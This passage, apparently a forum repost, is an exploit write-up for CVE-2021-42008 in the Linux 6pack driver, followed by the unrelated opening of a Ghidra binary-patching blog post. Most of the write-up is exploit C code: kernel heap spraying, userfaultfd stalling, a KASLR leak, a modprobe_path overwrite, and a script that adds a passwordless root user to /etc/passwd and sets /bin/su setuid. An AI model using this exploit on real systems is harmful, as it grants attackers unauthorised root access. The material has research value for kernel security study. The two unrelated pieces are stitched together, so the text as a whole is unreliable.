sixpack_receive_buf() is called, which in turn calls sixpack_decode(): static void sixpack_decode(struct sixpack *sp, const unsigned char *pre_rbuff, int count) { unsigned char inbyte; int count1; for (count1 = 0; count1 < count; count1++) { inbyte = pre_rbuff[count1]; // [1] if (inbyte == SIXP_FOUND_TNC) { tnc_set_sync_state(sp, TNC_IN_SYNC); del_timer(&sp->resync_t); } if ((inbyte & SIXP_PRIO_CMD_MASK) != 0) // [2] decode_prio_command(sp, inbyte); else if ((inbyte & SIXP_STD_CMD_MASK) != 0) // [3] decode_std_command(sp, inbyte); else if ((sp->status & SIXP_RX_DCD_MASK) == SIXP_RX_DCD_MASK) // [4] decode_data(sp, inbyte); } } The various macros are defined in 6pack.c: #define SIXP_FOUND_TNC 0xe9 #define SIXP_PRIO_CMD_MASK 0x80 #define SIXP_PRIO_DATA_MASK 0x38 #define SIXP_RX_DCD_MASK 0x18 #define SIXP_DCD_MASK 0x08 sixpack_decode() will loop through the buffer we sent over the sixpack channel, now stored in pre_rbuff [1], and based on the value of each byte (inbyte), it will take different paths. To reach the vulnerable function, decode_data(), we must force sixpack_decode() to take the last path [4] and to do so, we need to satisfy multiple conditions: A. inbyte & SIXP_PRIO_CMD_MASK must be zero, otherwise decode_prio_command() will be called instead of decode_data() [2]. B. inbyte & SIXP_STD_CMD_MASK must be zero, otherwise decode_std_command() will be called instead of decode_data() [3]. C. sp->status & SIXP_RX_DCD_MASK must be equal to SIXP_RX_DCD_MASK [4]. Since we control the value of each byte in our buffer, the first two conditions can be easily satisfied. The most complex one to satisfy is C: sp->status corresponds to the status field of the sixpack structure associated with our tty. As we have seen before, when a sixpack structure is initialized by sixpack_open(), the status variable is set to 1. Although we have no direct control over this variable, we can still indirectly modify it by taking the decode_prio_command() path [2]: static void decode_prio_command(struct sixpack *sp, unsigned char cmd) { int actual; if ((cmd & SIXP_PRIO_DATA_MASK) != 0) { // [1] if (((sp->status & SIXP_DCD_MASK) == 0) && ((cmd & SIXP_RX_DCD_MASK) == SIXP_RX_DCD_MASK)) { // [2] if (sp->status != 1) printk(KERN_DEBUG "6pack: protocol violation\n"); else sp->status = 0; cmd &= ~SIXP_RX_DCD_MASK; // [3] } sp->status = cmd & SIXP_PRIO_DATA_MASK; // [4] } else { /* output watchdog char if idle */ [...] } [...] } When decode_prio_command() is called, if we satisfy the first check [1], we can get control over sp->status thanks to the line sp->status = cmd & SIXP_PRIO_DATA_MASK [4], which is exactly what we need since we control the value of cmd. Now we have a problem: if the second check is satisfied [2], the SIXP_RX_DCD_MASK bits are zeroed out from our cmd variable by the line cmd &= ~SIXP_RX_DCD_MASK [3], but since we need to satisfy condition C to reach the vulnerable function decode_data(), the second part of the second check (cmd & SIXP_RX_DCD_MASK) == SIXP_RX_DCD_MASK [2] will be inevitably satisfied and the same applies to the first part of the check (sp->status & SIXP_DCD_MASK) == 0 since when we call decode_prio_command() for the first time, sp->status is equal to 1. Fortunately, we can easily work around the problem by calling decode_prio_command() two times: The first time, we set sp->status to a value for which when we call decode_prio_command() again, the first part of the second check (sp->status & SIXP_DCD_MASK) == 0 [2] will not be satisfied. This way, calling decode_prio_command() again with a specific value as input, we will be able to skip the line cmd &= ~SIXP_RX_DCD_MASK [3] and set sp->status to a value that can satisfy condition C. The following python script will compute the correct bytes to use as input to achieve our goal: print("[*] First call to decode_prio_command():") for byte in range(0x100): x = byte if (x & SIXP_PRIO_CMD_MASK) != 0: # To call decode_prio_command() if (x & SIXP_PRIO_DATA_MASK) != 0: # [1] in decode_prio_command() if (x & SIXP_RX_DCD_MASK) != SIXP_RX_DCD_MASK: # [2] in decode_prio_command() x = x & SIXP_PRIO_DATA_MASK # [3] in decode_prio_command() print(f"Input: {hex(byte)} => sp->status = {hex(x)}\n") break print("[*] Second call to decode_prio_command():") for byte in range(0x100): x = byte if (x & SIXP_PRIO_CMD_MASK) != 0: # To call decode_prio_command() if (x & SIXP_PRIO_DATA_MASK) != 0: # [1] in decode_prio_command() if (x & SIXP_RX_DCD_MASK) == SIXP_RX_DCD_MASK: # To reach decode_data() x = x & SIXP_PRIO_DATA_MASK # [3] in decode_prio_command() print(f"Input: {hex(byte)} => sp->status = {hex(x)}") break Executing the script above we will get the following result: [*] First call to decode_prio_command(): Input: 0x88 => s->status = 0x8 [*] Second call to decode_prio_command(): Input: 0x98 => s->status = 0x18 It means that if we call decode_prio_command() the first time using 0x88 as input, sp->status will be set to 0x8, then, calling the function again using 0x98 as input, the second check will not be satisfied [2] because sp->status will be equal to 8 and (8 & SIXP_DCD_MASK) != 0, and we will be able skip the line cmd &= ~SIXP_RX_DCD_MASK [3] and set sp->status to 0x18 thanks to the line sp->status = cmd & SIXP_PRIO_DATA_MASK [4]. At this point we can satisfy condition C, (sp->status & SIXP_RX_DCD_MASK) == SIXP_RX_DCD_MASK, in sixpack_decode(), and reach the vulnerable function decode_data(). Let’s proceed examining its source code: static void decode_data(struct sixpack *sp, unsigned char inbyte) { unsigned char *buf; if (sp->rx_count != 3) { sp->raw_buf[sp->rx_count++] = inbyte; // [1] return; } buf = sp->raw_buf; // [2] sp->cooked_buf[sp->rx_count_cooked++] = buf[0] | ((buf[1] << 2) & 0xc0); sp->cooked_buf[sp->rx_count_cooked++] = (buf[1] & 0x0f) | ((buf[2] << 2) & 0xf0); sp->cooked_buf[sp->rx_count_cooked++] = (buf[2] & 0x03) | (inbyte << 2); sp->rx_count = 0; } For our discussion, we also need to take into account the following fields of the sixpack structure: struct sixpack { [...] unsigned char raw_buf[4]; unsigned char cooked_buf[400]; unsigned int rx_count; unsigned int rx_count_cooked; [...] unsigned char status; [...] }; Every time decode_data() is called, one byte is copied from our buffer to sp->raw_buf [1]. When sp->raw_buf contains three bytes and decode_data() is called again, these three bytes are decoded and copied from sp->raw_buf to another buffer, sp->cooked_buf [2]. As we can see from the sixpack structure above, this buffer can contain a maximum of 400 bytes. The variable sp->rx_count_cooked is used as index in sp->cooked_buf and it is incremented after each byte is written into it. From an attacker prospective, knowing that your payload will pass through this function, is not very reassuring. Luckily we can reuse some parts of the encode_sixpack() function in our exploit to encode our malicious input, this way, once received by sixpack_decode() our payload will be decoded by decode_data() and we will be able to control values in memory. Here is the encode_sixpack() part we are interested in: static int encode_sixpack(unsigned char *tx_buf, unsigned char *tx_buf_raw, int length, unsigned char tx_delay) { [...] for (count = 0; count <= length; count++) { if ((count % 3) == 0) { tx_buf_raw[raw_count++] = (buf[count] & 0x3f); tx_buf_raw[raw_count] = ((buf[count] >> 2) & 0x30); } else if ((count % 3) == 1) { tx_buf_raw[raw_count++] |= (buf[count] & 0x0f); tx_buf_raw[raw_count] = ((buf[count] >> 2) & 0x3c); } else { tx_buf_raw[raw_count++] |= (buf[count] & 0x03); tx_buf_raw[raw_count++] = (buf[count] >> 2); } } [...] return raw_count; } Now that we know how to reach the vulnerable function, we can finally start planning our exploit! The Exploitation Plan The first thing to consider is the layout of the sixpack structure in memory. Let’s take a look to its source code again: struct sixpack { [...] unsigned char raw_buf[4]; unsigned char cooked_buf[400]; // [1] unsigned int rx_count; // [2] unsigned int rx_count_cooked; // [3] [...] }; As we can see, if we manage to overflow the cooked_buf buffer [1], we will inevitably overwrite the rx_count variable [2] and the rx_count_cooked variable [3] in memory. Here is a visual representation: Since we know that rx_count_cooked is used as index inside cooked_buf by decode_data(), if we do the math correctly, we can use the overflow to set it to a large value, this way we should be able to trick decode_data() into continuing to write into the next object in memory. Now, assuming we can achieve this goal, we need an object that we can spray in kmalloc-4096, and once corrupted by our Out-Of-Bounds Write primitive, can give us powerful primitives, such as arbitrary read and arbitrary write. At this point, if you have read my latest article, you already know that msg_msg is exactly what we need: struct msg_msg { struct list_head m_list; long m_type; size_t m_ts; // [1] struct msg_msgseg *next; // [2] void *security; /* the actual message follows immediately */ }; In our recent articles, Fire Of Salvation and Wall Of Perdition, FizzBuzz101 and me, have extensively discussed how to utilize msg_msg objects to achieve arbitrary read and arbitrary write in the Linux Kernel. Before continuing, I recommend you to read these articles to better understand how this object can be exploited. I will continue this discussion assuming you already know how msg_msg objects can be used in kernel exploitation. If we manage to get a msg_msg object allocated right after the sixpack structure, and the respective segment allocated in kmalloc-32, we can corrupt the m_ts field of the message (which determines its size) with our Out-Of-Bounds Write primitive, setting it to a large value. This way, using msgrcv() in user space to read the message, we should be able to obtain a powerful Out-Of-Bounds Read primitive in kmalloc-32, get a memory leak and bypass KASLR. We can do something similar to achieve an arbitrary write primitive. We can spray many msg_msg objects in kmalloc-4096 and their respective segments in kmalloc-32, then for each object we hang the call to copy_from_user() in load_msg() using userfaultfd (there are alternatives to userfaultfd, we will discuss them in the Conclusion section). Afterwards, once one of these messages is allocated right after our sixpack structure, we corrupt its next pointer, setting it to the address where we want to write. In our exploit, we will use modprobe_path, but there are many other valid targets, for example the cred structure of the current task, as we have done with Wall Of Perdition. Once we release the copy_from_user() calls, we should be able to replace the modprobe_path string (set by default to “/sbin/modprobe”) with the path of a binary controlled by us, and trick the kernel into executing the malicious program that will give us root privileges. At this point, with this plan in mind, we are ready to start writing our exploit! The Exploit First of all we need to do some calculations to get the distance between sp->cooked_buf and sp->rx_count_cooked, and the distance between sp->cooked_buf and the next object in memory. In our case, the address of sp->rx_count_cooked corresponds to sp->cooked_buf[0x194] and the address of the next object in memory corresponds to sp->cooked_buf[0x688]. Since we know that sp->rx_count_cooked is used as index inside sp->cooked_buf , if we want to write to the next object in memory, we need to set its value to x, where x >= 0x688. The problem seems straightforward to solve, but we need to take in consideration the effect of GCC optimizations on the vulnerable function decode_data(): static void decode_data(struct sixpack *sp, unsigned char inbyte) { unsigned char *buf; [...] buf = sp->raw_buf; sp->cooked_buf[sp->rx_count_cooked++] = buf[0] | ((buf[1] << 2) & 0xc0); sp->cooked_buf[sp->rx_count_cooked++] = (buf[1] & 0x0f) | ((buf[2] << 2) & 0xf0); sp->cooked_buf[sp->rx_count_cooked++] = (buf[2] & 0x03) | (inbyte << 2); sp->rx_count = 0; } decode_data + 00: nop DWORD PTR [rax+rax*1+0x0] decode_data + 05: movzx r8d,BYTE PTR [rdi+0x35] // r8d = sp->raw_buf[1] decode_data + 10: [1] mov eax,DWORD PTR [rdi+0x1cc] // eax = sp->rx_count_cooked decode_data + 16: shl esi,0x2 decode_data + 19: lea edx,[r8*4+0x0] decode_data + 27: [2] mov rcx,rax // rcx = sp->rx_count_cooked decode_data + 30: lea r9d,[rax+0x1] // r9d = sp->rx_count_cooked + 1 decode_data + 34: and r8d,0xf decode_data + 38: and edx,0xffffffc0 decode_data + 41: or dl,BYTE PTR [rdi+0x34] // dl or sp->raw_buf[0] decode_data + 44: [3] mov BYTE PTR [rdi+rax*1+0x38],dl // Write first decoded byte in sp->cooked_buf decode_data + 48: movzx edx,BYTE PTR [rdi+0x36] // eax = sp->raw_buf[2] decode_data + 52: lea eax,[rdx*4+0x0] decode_data + 59: and edx,0x3 decode_data + 62: and eax,0xfffffff0 decode_data + 65: or esi,edx decode_data + 67: or eax,r8d decode_data + 70: [4] mov BYTE PTR [rdi+r9*1+0x38],al // Write second decoded byte in sp->cooked_buf decode_data + 75: lea eax,[rcx+0x3] // eax = sp->rx_count_cooked + 3 decode_data + 78: [5] mov DWORD PTR [rdi+0x1cc],eax // sp->rx_count_cooked = sp->rx_count_cooked + 3 decode_data + 84: lea eax,[rcx+0x2] // eax = sp->rx_count_cooked + 2 decode_data + 87: [6] mov BYTE PTR [rdi+rax*1+0x38],sil // Write third decoded byte in sp->cooked_buf decode_data + 92: mov DWORD PTR [rdi+0x1c8],0x0 // sp->rx_count = 0 decode_data + 102: ret The first important thing to note is that predictably, when decode_data() is called, and sp->raw_buf contains 3 bytes, GCC optimized the access to sp->rx_count_cooked, so instead of accessing its value multiple times during the write procedure, it is stored in EAX [1] and then it moved it to RCX [2] at the beginning of the function. The second important thing is that instead of three consecutive write operations in sp->cooked_buf, before writing the third decoded byte [6], the value of sp->rx_count_cooked is updated with its previously stored [1] [2] value + 3 [5]. This optimization makes things harder, because if we manage to overwrite the first two bytes of sp->rx_count_cooked thanks to the instructions [3] and [4], before overwriting the third byte [6], its value will be updated by instruction [5]. It means that we need to try to use the third write operation [6] to overwrite the second byte of sp->rx_count_cooked that corresponds to sp->cooked_buf[0x195], for example making it 0x06XX instead of 0x01XX. Since decode_data() is writing 3 bytes at time, starting from index 0 into sp->cooked_buf, each time decode_data() is called, the third byte will be written at index 0x2, 0x5, 0x8, …, 0x191, 0x194 and so on. Basically when sp->rx_count_cooked is 0x192 and decode_data() is called again, the third write operation will be performed over sp->cooked_buf[0x194], but we need to overwrite sp->cooked_buf[0x195] with the third decoded byte! We can solve the problem misaligning the writing frame by setting the first byte of sp->rx_count_cooked to 0x90, so it will become 0x190. This way, after two more calls to decode_data() the third write operation will be performed over sp->cooked_buf[0x195]. Each time decode_data() is called, we basically have a pattern of three operations: First, when sp->rx_count_cooked is equal to 0x192 and decode_data() is called again, it writes the first two bytes with instruction [3] and [4] respectively at sp->cooked_buf[0x192] and sp->cooked_buf[0x193]. Then instruction [5] updates sp->rx_count_cooked with its previously stored value + 3: 0x192 + 3: 0x195. And finally the third write operation [6] overwrites the first byte of sp->rx_count_cooked which corresponds to sp->cooked_buf[0x194], making it 0x190. Here we have the three operations represented visually: Now sp->rx_count_cooked is equal to 0x190, and we successfully misaligned the writing frame. When decode_data() is called again, we have the same pattern of operations: Write two bytes inside sp->cooked_buf (this time at sp->cooked_buf[0x190] and sp->cooked_buf[0x191]) Update sp->rx_count_cooked with its previously stored value + 3 (this time 0x190 + 3: 0x193) Write the third byte (this time at sp->cooked_buf[0x192]😞 And again, a new call to decode_data() will finally set sp->rx_count_cooked to 0x696. The pattern is always the same: Write two bytes inside sp->cooked_buf (this time at sp->cooked_buf[0x193] and sp->cooked_buf[0x194]) Update sp->rx_count_cooked with its previously stored value + 3 (this time 0x193 + 3: 0x196) Write the third byte (this time at sp->cooked_buf[0x195]😞 This will trick decode_data() into continuing to write our payload 0x0e bytes inside the next object in memory. At this point we can start writing our exploit: void prepare_exploit() { system("echo -e '\xdd\xdd\xdd\xdd\xdd\xdd' > /tmp/asd"); system("chmod +x /tmp/asd"); system("echo '#!/bin/sh' > /tmp/x"); system("echo 'chmod +s /bin/su' >> /tmp/x"); // Needed for busybox, just in case system("echo 'echo \"pwn::0:0:pwn:/root:/bin/sh\" >> /etc/passwd' >> /tmp/x"); // [4] system("chmod +x /tmp/x"); memcpy(buff2 + 0xfc8, "/tmp/x\00", 7); } void assign_to_core(int core_id) { cpu_set_t mask; pid_t pid; pid = getpid(); printf("[*] Assigning process %d to core %d\n", pid, core_id); CPU_ZERO(&mask); CPU_SET(core_id, &mask); if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0) // [2] { perror("[X] sched_setaffinity()"); exit(1); } print_affinity(); } [...] assign_to_core(0); // [1] prepare_exploit(); // [3] [...] Since we are working in a SMD environment and with the SLUB allocator active slabs are managed per-cpu (see kmem_cache_cpu), we need to make sure to operate always on the same processor to maximize the success rate of our exploit. We can do it restricting the current process to core 0 [1] using sched_setaffinity() [2] which is usable by unprivileged users. Then we call prepare_exploit() to prepare everything we need to abuse modprobe [3] (Check References to learn more about this technique or read my Hotrod writeup). As you can see once executed by the kernel, the program will add a new user with root privileges [4]. void alloc_msg_queue_A(int id) { if ((qid_A[id] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) { perror("[X] msgget"); exit(1); } } void send_msg(int qid, int size, int type, int c) { struct msgbuf { long mtype; char mtext[size - 0x30]; } msg; msg.mtype = type; memset(msg.mtext, c, sizeof(msg.mtext)); if (msgsnd(qid, &msg, sizeof(msg.mtext), 0) == -1) { perror("[X] msgsnd"); exit(1); } } void *recv_msg(int qid, size_t size, int type) { void *memdump = malloc(size); if (msgrcv(qid, memdump, size, type, IPC_NOWAIT | MSG_COPY | MSG_NOERROR) < 0) { perror("[X] msgrcv"); return NULL; } return memdump; } void alloc_shm(int i) { shmid[i] = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600); if (shmid[i] < 0) { perror("[X] shmget fail"); exit(1); } shmaddr[i] = (void *)shmat(shmid[i], NULL, SHM_RDONLY); if (shmaddr[i] < 0) { perror("[X] shmat"); exit(1); } } [...] puts("[*] Spraying shm_file_data in kmalloc-32..."); for (int i = 0; i < 100; i++) alloc_shm(shmid[i]); // [1] puts("[*] Spraying messages in kmalloc-4k..."); for (int i = 0; i < N_MSG; i++) alloc_msg_queue_A(i); // [2] for (int i = 0; i < N_MSG; i++) send_msg(qid_A[i], 0x1018, 1, 'A' + i); // [3] recv_msg(qid_A[0], 0x1018, 0); // [4] ptmx = init_sixpack(); // [5] [...] We can continue spraying many shm_file_data structures in kmalloc-32: struct shm_file_data { int id; struct ipc_namespace *ns; struct file *file; const struct vm_operations_struct *vm_ops; }; This can be done using shmget() to allocate a shared memory segment and shmat() to attach it to the address space of the calling process. This, later on, will allow us to leak the init_ipc_ns symbol, located in the kernel data section, compute kernel base, and bypass KASLR. Afterwards, we allocate N_MSG (in our case N_MSG is equal to 7) message queues [2] and then for each queue we send a message of 0x1018 bytes (0xfe8 bytes for message body, and 0x30 for message header) using send_msg() [3] which is a wrapper for msgsnd(). Each iteration will allocate a message in kmalloc-4096 and a segment in kmalloc-32. Then we use recv_msg(), which is a wrapper for msgrcv() to read a message a create a hole in the kernel heap [4]. At this point we can finally initialize the sixpack channel as we have seen in the first section. This will allocate a net_device structure in kmalloc-4096 and a sixpack structure inside its private data region. All this will probably create the following situation in memory, where the sixpack structure is followed by one of the messages we have just allocated. This message contains a pointer to its respective segment: It is important to note that we don’t know to which of the 6 queues belongs the message allocated right after the sixpack structure, so I identified its queue with QID #X. We are finally ready to send our malicious payload over the sixpack channel: uint8_t *sixpack_encode(uint8_t *src) { uint8_t *dest = (uint8_t *)calloc(1, 0x3000); uint32_t raw_count = 2; // [8] for (int count = 0; count <= PAGE_SIZE; count++) { if ((count % 3) == 0) { dest[raw_count++] = (src[count] & 0x3f); dest[raw_count] = ((src[count] >> 2) & 0x30); } else if ((count % 3) == 1) { dest[raw_count++] |= (src[count] & 0x0f); dest[raw_count] = ((src[count] >> 2) & 0x3c); } else { dest[raw_count++] |= (src[count] & 0x03); dest[raw_count++] = (src[count] >> 2); } } return dest; } uint8_t *generate_payload(uint64_t target) { uint8_t *encoded; memset(buff, 0, PAGE_SIZE); // sp->rx_count_cooked = 0x190 buff[0x194] = 0x90; // [2] // sp->rx_count_cooked = 0x696 buff[0x19a] = 0x06; // [3] // fix upper two bytes of msg_msg.m_list.prev buff[0x19b] = 0xff; // [4] buff[0x19c] = 0xff; // msg_msg.m_ts = 0x1100 buff[0x1a6] = 0x11; // [5] // msg_msg.next = target if (target) // [6] for (int i = 0; i < sizeof(uint64_t); i++) buff[0x1ad + i] = (target >> (8 * i)) & 0xff; encoded = sixpack_encode(buff); // sp->status = 0x18 (to reach decode_data()) encoded[0] = 0x88; // [7] encoded[1] = 0x98; return encoded; } [...] payload = generate_payload(0); // [1] write(ptmx, payload, LEAK_PAYLOAD_SIZE); // [9] [...] We generate and encode our malicious payload calling generate_paylaod() [1]. As we have seen in the previous paragraphs, we misalign the writing frame of the decode_data() function by setting sp->rx_count_cooked to 0x190 [2]. Then we overwrite the second byte of sp->rx_count_cooked with 0x6, making it 0x696 [3]. From this point decode_data() will continue writing at sp->cooked_buf[0x696] and by doing so it will inevitably corrupt the upper two bytes of the msg_msg.m_list.prev pointer. Since we know that the upper two bytes of a heap pointer in kernel space are always 0xffff, we can easly fix it [4]. Then we set msg_msg.m_ts to 0x1100, this will allow us to obtain a powerful Out-Of-Bounds Read primitive calling recv_msg(). For now we don’t need to overwrite msg_msg.next [6], so we can directly encode our buffer [7], and set the first two bytes of the payload respectively 0x88, and 0x98, as we have seen in the previous sections, to reach the vulnerable function. Since we are skipping the first two bytes (used to reach the vulnerable function), we set sp->rx_count to 2 in sixpack_encode() [8]. Once we send our malicious payload over the sixpack channel [9] and it is decoded by sixpack_decode() the situation in memory will be the following: We have successfully overwritten sp->rx_count_cooked with 0x696 exploiting the buffer overflow in sp->cooked_buf, and tricked decode_data() into continuing to write our malicious payload at sp->cooked_buf[0x696]. By doing so, we successfully overwritten the m_ts field of the message. Here is the result of our Out-Of-Bounds Write primitive showed in GDB: We can proceed exploiting the Out-Of-Bounds Read: void close_queue(int qid) { if (msgctl(qid, IPC_RMID, NULL) < 0) { perror("[X] msgctl()"); exit(1); } } int find_message_queue(uint16_t tag) { switch (tag) { case 0x4141: return 0; case 0x4242: return 1; case 0x4343: return 2; case 0x4444: return 3; case 0x4545: return 4; case 0x4646: return 5; default: return -1; } } void leak_pointer(void) { uint64_t *leak; for (int id = 0; id < N_MSG; id ++) { leak = (uint64_t *)recv_msg(qid_A[id], 0x1100, 0); if (leak == NULL) continue; for (int i = 0; i < 0x220; i++) { if ((leak[i] & 0xffff) == INIT_IPC_NS) // [2] { init_ipc_ns = leak[i]; valid_qid = find_message_queue((uint16_t)leak[1]); // [3] modprobe_path = init_ipc_ns - 0x131040; // [4] return; } } } } [...] leak_pointer(); // [1] [...] Since we don’t now to which queue belongs the message allocated right after the sixpack structure, we use leak_pointer() to iterate through all the queues, until we find a init_ipc_ns pointer [2]. If we find the pointer, it means that we found the correct queue, so we obtain its QID comparing the message content thanks to the find_message_queue() function [3], and we finally compute the address of modprobe_path. If the procedure fails, it means that none of our messages has been allocated after the sixpack structure. In this case we can simply launch the exploit again (since we are writing in kmalloc-4096 which is usually not heavily used by the kernel, the probability of a crash is relatively low). Here is a visual representation of what happens when we trigger the Out-Of-Bounds Read: Now that we know the address of our target, modprobe_path, we need to get an arbitrary write primitive. We could proceed initializing a new sixpack structure, but this would decrease the success rate of our exploit. The question is: is there a way to reuse the sixpack structure we just corrupted? The answer is yes! Remember when we analyzed the tnc_init() function? Well, when a new sixpack channel is initialized, tnc_init() sets a 5 seconds timer. Once the timer expires, resync_tnc() is called: static void resync_tnc(struct timer_list *t) { struct sixpack *sp = from_timer(sp, t, resync_t); static char resync_cmd = 0xe8; /* clear any data that might have been received */ sp->rx_count = 0; // [1] sp->rx_count_cooked = 0; // [2] /* reset state machine */ sp->status = 1; // [3] [...] /* Start resync timer again -- the TNC might be still absent */ mod_timer(&sp->resync_t, jiffies + SIXP_RESYNC_TIMEOUT); // [4] } As we can see from the resync_tnc() source code, after 5 seconds, the receiver state is reset, meaning that sp->rx_count and sp->rx_count_cooked are set to 0 [1] [2] and sp->status to 1 [3], then the 5 seconds timer is started again [4]. This is exactly what we need, because if we wait for 5 seconds from when we initialized the sixpack structure for the first time, we can reuse it and cause a second Out-Of-Bounds Write! We can proceed initializing N_THREADS page fault handler threads (in our case N_THREADS is equal to 8😞 void create_pfh_thread(int id, int ufd, void *page) { struct pfh_args *args = (struct pfh_args *)malloc(sizeof(struct pfh_args)); args->id = id; args->ufd = ufd; args->page = page; pthread_create(&tid[id], NULL, page_fault_handler, (void *)args); } [...] for (int i = 0; i < N_THREADS; i++) // [1] { mmap(pages[i], PAGE_SIZE*3, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); ufd[i] = initialize_ufd(pages[i]); } for (int i = 0; i < N_THREADS; i++) create_pfh_thread(i, ufd[i], pages[i]); // [2] [...] Frist call mmap() for 8 times, and each time we map 3 pages of memory. Then for each iteration we start monitoring the second page using userfaultfd [1]. Then we start 8 page fault handlers [2]. Each one of these threads will handle a page fault for a specific page. We can proceed allocating 8 messages in kmalloc-4096 and the respective segments in kmalloc-32: void alloc_msg_queue_B(int id) { if ((qid_B[id] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) { perror("[X] msgget"); exit(1); } } void *allocate_msg(void *arg) { int id = ((struct t_args *)arg)->id; void *page = ((struct t_args *)arg)->page; debug_printf("[Thread %d] Message buffer allocated at 0x%lx\n", id + 1, page + PAGE_SIZE - 0x10); alloc_msg_queue_B(id); memset(page, 0, PAGE_SIZE); ((uint64_t *)(page))[0xff0 / 8] = 1; // msg_msg.m_type = 1 if (msgsnd(qid_B[id], page + PAGE_SIZE - 0x10, 0x1018, 0) < 0) // [4] { perror("[X] msgsnd"); exit(1); } debug_printf("[Thread %d] Message sent!\n", id + 1); } void create_message_thread(int id, void *page) { struct t_args *args = (struct t_args *)malloc(sizeof(struct t_args)); args->id = id; args->page = page; pthread_create(&tid[id + 2], NULL, allocate_msg, (void *)args); } [...] close_queue(qid_A[valid_qid]); // [1] payload = generate_payload(modprobe_path - 0x8); // [2] for (int i = 0; i < N_THREADS; i++) create_message_thread(i, pages[i]); // [3] waitfor(6, "Waiting for resync_tnc callback..."); // [5] [...] First of all we close the queue to which belongs the message allocated right after the sixpack structure [1]. This will free the message and its respective segment, creating a hole in the heap, allowing us to allocate another message in the same location (because of freelist LIFO behavior). We re-generate our malicious payload, this time using modprobe_path - 0x8 as target [2]. This will set the msg_msg.next pointer to modprobe_path - 0x8. We are subtracting 8 bytes from modprobe_path because the first QWORD of a segment must be NULL, otherwise load_msg() will try to access the next segment causing a crash. Afterwards, we create 8 threads using create_message_thread() [3]. Each one of these threads will allocate a new message in kmalloc-4096. For each thread, we place the message buffer, right 0x10 bytes before the monitored page [4], this way the copy_from_user() call in load_msg() will cause a page fault, and we will be able suspend the copy operation from user space. Finally we sleep for 6 seconds [5], this way the function resync_tnc() will be called by the kernel resetting the sixpack receiver state. All this will cause the following situation in memory: As we can see, one of the messages has been allocated right after the sixpack structure. The allocation of the message and the successive load_msg() call, caused a page fault, and we successfully suspended the copy operation. It is important to note that even in this case we don’t know to which queue belongs the message allocated after the sixpack structure, so I identified the queue with QID #Y. We are ready to send our malicious payload over the sixpack channel: [...] puts("[*] Overwriting modprobe_path..."); write(ptmx, payload, WRITE_PAYLOAD_SIZE); // [1] [...] Once we send the malicious payload [1], it will misalign the writing frame as we have seen in the previous paragraphs, setting sp->rx_count_cooked to 0x190, then it will set it to 0x696 tricking decode_data() into continuing to write into the next object in memory: MSG #0 in QID #Y. Finally it will overwrite multiple fields in the msg_msg structure, including the next pointer. Now msg_msg.next, instead of pointing to the segment, points to modprobe_path - 0x8: We can finally release every page fault: [...] release_pfh = true; [...] Once we release every page fault, the modprobe_path string (set by default to “/sbin/modprobe”) will be overwritten with the path of our malicious program “/tmp/x”: In the final stage, we trigger the call to /sbin/modprobe, now replaced with /tmp/x, and we verify if the new user with root privileges has been added: [...] system("/tmp/asd 2>/dev/null"); // [1] if (!getpwnam("pwn")) // [2] { puts("[X] Exploit failed, try again..."); goto end; } puts("[+] We are root!"); system("rm /tmp/asd && rm /tmp/x"); system("su pwn"); [...] First we execute a program with an unknown program header [1] forcing the kernel to call __request_module() → call_modprobe() → call_usermodehelper_exec() and execute our malicious program, then we check if the user pwn [2] has been added using getpwnam(). If the user exists, we can use su pwn to become root, otherwise we simply need to launch the exploit again. Here is the exploit in action: You can find the complete exploit here: CVE-2021-42008: Exploiting A 16-Year-Old Vulnerability In The Linux 6pack Driver The exploit is designed and tested for Debian 11 - Kernel 5.10.0-8-amd64. If you want to port the exploit to other kernel versions, remember that the distance between sp->cooked_buf and the next object in memory may change. Conclusion In this article I showed how the techniques presented by FizzBuzz101 and me with Fire of Salvation and Wall Of Perdition can be used to exploit real vulnerabilities in the Linux Kernel. There are many other valid approaches to exploit this vulnerability. For example, after Kernel 5.11, a first patch made userfaultfd completely inaccessible for unprivileged users, then a second patch restricted its usage in a way that only page faults from user-mode can be handled, so in the second stage, an attacker may simply use FUSE to delay page faults creating unprivileged user+mount namespaces, or may abuse discontiguous file mapping and scheduler behavior instead of using userfaultfd. Another approach for the second stage may be to set msg_msg.next to the address of a previously leaked structure, for example seq_operations, subprocess_info, tty_struct and so on (check References for a list of exploitable kernel structures), and then free the message and its respective segment (now pointing to the target structure) using msgrcv() without the MSG_COPY flag. This will result in a powerful arbitrary free primitive. From here is possible to cause a Use-After-Free to the target structure and hijack the Kernel control flow overwriting a function pointer. Another very interesting approach is the one used to exploit CVE-2021-22555. As always, for any question or clarification, feel free to contact me (check About). References 6pack https://docs.kernel.org/networking/6pack.html The TTY demystified https://www.linusakesson.net/programming/tty/index.php Jiffies in the Linux Kernel https://cyberglory.wordpress.com/2011/08/21/jiffies-in-linux-kernel/ Utilizing msg_msg Objects For Arbitrary Read And Arbitrary Write In The Linux Kernel https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html (Part 1: Fire Of Salvation) https://syst3mfailure.io/wall-of-perdition (Part 2: Wall Of Perdition) modprobe_path https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/ Exploitable kernel structures https://bsauce.github.io/2021/09/26/kernel-exploit-%E6%9C%89%E7%94%A8%E7%9A%84%E7%BB%93%E6%9E%84%E4%BD%93/ D3v17 Read more posts by this author. Sursa: https://syst3mfailure.io/sixpack-slab-out-of-bounds
-
Ghidra 101: Binary Patching CRAIG YOUNG NOV 28, 2021 IT SECURITY AND DATA PROTECTION In this blog series, I will be putting the spotlight on useful Ghidra features you may have missed. Each post will look at a different feature and show how it helps you save time and be more effective in your reverse engineering workflows. Ghidra is an incredibly powerful tool, but much of this power comes from knowing how to use it effectively. There are several circumstances where it can be helpful to make a modification to code or data within a compiled program. Sometimes, it is necessary to fix a vulnerability or compatibility issue without functional source code or compilers. This can happen when source code gets lost, systems go out of support, or software firms go out of business. In case you should find yourself in this situation, keep calm and read on to learn how to do this within Ghidra. Until recently, Ghidra was rather limited in this capability. This changed with the summer 2021 release of Ghidra 10.0 which introduced the ability to export programs with proper executable formats for Windows (PE) and Linux (ELF). Ghidra versions before 10 or for executable formats besides PE and ELF require using a raw import and raw export and is generally far less robust. In this post, I will review a Windows x86 executable, but the general strategy is applicable more 